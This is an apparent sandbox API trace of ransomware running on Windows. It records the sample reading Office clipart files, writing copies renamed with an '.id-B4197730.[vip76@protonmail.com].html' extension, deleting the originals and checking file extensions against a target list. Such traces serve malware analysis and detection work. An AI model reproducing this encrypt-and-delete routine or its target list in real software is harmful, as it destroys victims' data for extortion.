	[0083.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.551] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=40030) returned 1
	[0083.551] CloseHandle (hObject=0x2c8) returned 1
	[0083.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220
	[0083.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.551] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.551] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.552] GetLastError () returned 0x0
	[0083.552] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x9c5e, lpOverlapped=0x0) returned 1
	[0083.556] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x9c60, lpOverlapped=0x0) returned 1
	[0083.557] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.557] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.557] SetEndOfFile (hFile=0x320) returned 1
	[0083.557] CloseHandle (hObject=0x320) returned 1
	[0083.557] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.558] SetEndOfFile (hFile=0x2c8) returned 1
	[0083.559] CloseHandle (hObject=0x2c8) returned 1
	[0083.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.559] lstrlenW (lpString=".doc") returned 4
	[0083.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString=".docx") returned 5
	[0083.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.559] lstrlenW (lpString=".pdf") returned 4
	[0083.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString=".xls") returned 4
	[0083.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.559] lstrlenW (lpString=".xlsx") returned 5
	[0083.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.559] lstrlenW (lpString=".ppt") returned 4
	[0083.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.559] lstrlenW (lpString=".zip") returned 4
	[0083.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.560] lstrlenW (lpString=".rar") returned 4
	[0083.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString=".bz2") returned 4
	[0083.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString=".7z") returned 3
	[0083.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString=".dbf") returned 4
	[0083.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString=".1cd") returned 4
	[0083.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString=".jpg") returned 4
	[0083.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString=".doc") returned 4
	[0083.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString=".docx") returned 5
	[0083.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.560] lstrlenW (lpString=".pdf") returned 4
	[0083.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString=".xls") returned 4
	[0083.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.560] lstrlenW (lpString=".xlsx") returned 5
	[0083.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.560] lstrlenW (lpString=".ppt") returned 4
	[0083.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.560] lstrlenW (lpString=".zip") returned 4
	[0083.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.560] lstrlenW (lpString=".rar") returned 4
	[0083.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.561] lstrlenW (lpString=".bz2") returned 4
	[0083.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.561] lstrlenW (lpString=".7z") returned 3
	[0083.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.561] lstrlenW (lpString=".dbf") returned 4
	[0083.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.561] lstrlenW (lpString=".1cd") returned 4
	[0083.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0083.561] lstrlenW (lpString=".jpg") returned 4
	[0083.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.561] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.561] lstrlenW (lpString="DD00372_.WMF") returned 12
	[0083.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.562] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=792) returned 1
	[0083.562] CloseHandle (hObject=0x2c8) returned 1
	[0083.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220
	[0083.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.562] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.562] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.563] GetLastError () returned 0x0
	[0083.563] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x318, lpOverlapped=0x0) returned 1
	[0083.564] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x320, lpOverlapped=0x0) returned 1
	[0083.565] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.565] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.565] SetEndOfFile (hFile=0x320) returned 1
	[0083.565] CloseHandle (hObject=0x320) returned 1
	[0083.566] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.566] SetEndOfFile (hFile=0x2c8) returned 1
	[0083.566] CloseHandle (hObject=0x2c8) returned 1
	[0083.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".doc") returned 4
	[0083.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".docx") returned 5
	[0083.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.567] lstrlenW (lpString=".pdf") returned 4
	[0083.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".xls") returned 4
	[0083.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.567] lstrlenW (lpString=".xlsx") returned 5
	[0083.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.567] lstrlenW (lpString=".ppt") returned 4
	[0083.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.567] lstrlenW (lpString=".zip") returned 4
	[0083.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.567] lstrlenW (lpString=".rar") returned 4
	[0083.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.567] lstrlenW (lpString=".bz2") returned 4
	[0083.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString=".7z") returned 3
	[0083.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString=".dbf") returned 4
	[0083.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString=".1cd") returned 4
	[0083.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString=".jpg") returned 4
	[0083.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString=".doc") returned 4
	[0083.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString=".docx") returned 5
	[0083.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.568] lstrlenW (lpString=".pdf") returned 4
	[0083.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString=".xls") returned 4
	[0083.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.568] lstrlenW (lpString=".xlsx") returned 5
	[0083.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.568] lstrlenW (lpString=".ppt") returned 4
	[0083.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.568] lstrlenW (lpString=".zip") returned 4
	[0083.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.568] lstrlenW (lpString=".rar") returned 4
	[0083.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString=".bz2") returned 4
	[0083.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.568] lstrlenW (lpString=".7z") returned 3
	[0083.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.569] lstrlenW (lpString=".dbf") returned 4
	[0083.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.569] lstrlenW (lpString=".1cd") returned 4
	[0083.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0083.569] lstrlenW (lpString=".jpg") returned 4
	[0083.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.569] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.569] lstrlenW (lpString="DD00405_.WMF") returned 12
	[0083.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.569] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17584) returned 1
	[0083.569] CloseHandle (hObject=0x2c8) returned 1
	[0083.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220
	[0083.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.570] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.570] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.570] GetLastError () returned 0x0
	[0083.570] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x44b0, lpOverlapped=0x0) returned 1
	[0084.249] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x44c0, lpOverlapped=0x0) returned 1
	[0084.250] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.250] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.250] SetEndOfFile (hFile=0x320) returned 1
	[0084.251] CloseHandle (hObject=0x320) returned 1
	[0084.251] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.251] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.252] CloseHandle (hObject=0x2c8) returned 1
	[0084.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString=".doc") returned 4
	[0084.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString=".docx") returned 5
	[0084.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.253] lstrlenW (lpString=".pdf") returned 4
	[0084.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString=".xls") returned 4
	[0084.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.253] lstrlenW (lpString=".xlsx") returned 5
	[0084.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.253] lstrlenW (lpString=".ppt") returned 4
	[0084.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString=".zip") returned 4
	[0084.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.253] lstrlenW (lpString=".rar") returned 4
	[0084.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString=".bz2") returned 4
	[0084.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString=".7z") returned 3
	[0084.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString=".dbf") returned 4
	[0084.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString=".1cd") returned 4
	[0084.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.253] lstrlenW (lpString=".jpg") returned 4
	[0084.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.254] lstrlenW (lpString=".doc") returned 4
	[0084.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString=".docx") returned 5
	[0084.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.254] lstrlenW (lpString=".pdf") returned 4
	[0084.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString=".xls") returned 4
	[0084.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.254] lstrlenW (lpString=".xlsx") returned 5
	[0084.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.254] lstrlenW (lpString=".ppt") returned 4
	[0084.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.254] lstrlenW (lpString=".zip") returned 4
	[0084.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.254] lstrlenW (lpString=".rar") returned 4
	[0084.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString=".bz2") returned 4
	[0084.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString=".7z") returned 3
	[0084.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.254] lstrlenW (lpString=".dbf") returned 4
	[0084.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.254] lstrlenW (lpString=".1cd") returned 4
	[0084.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0084.255] lstrlenW (lpString=".jpg") returned 4
	[0084.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.255] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.255] lstrlenW (lpString="DD01143_.WMF") returned 12
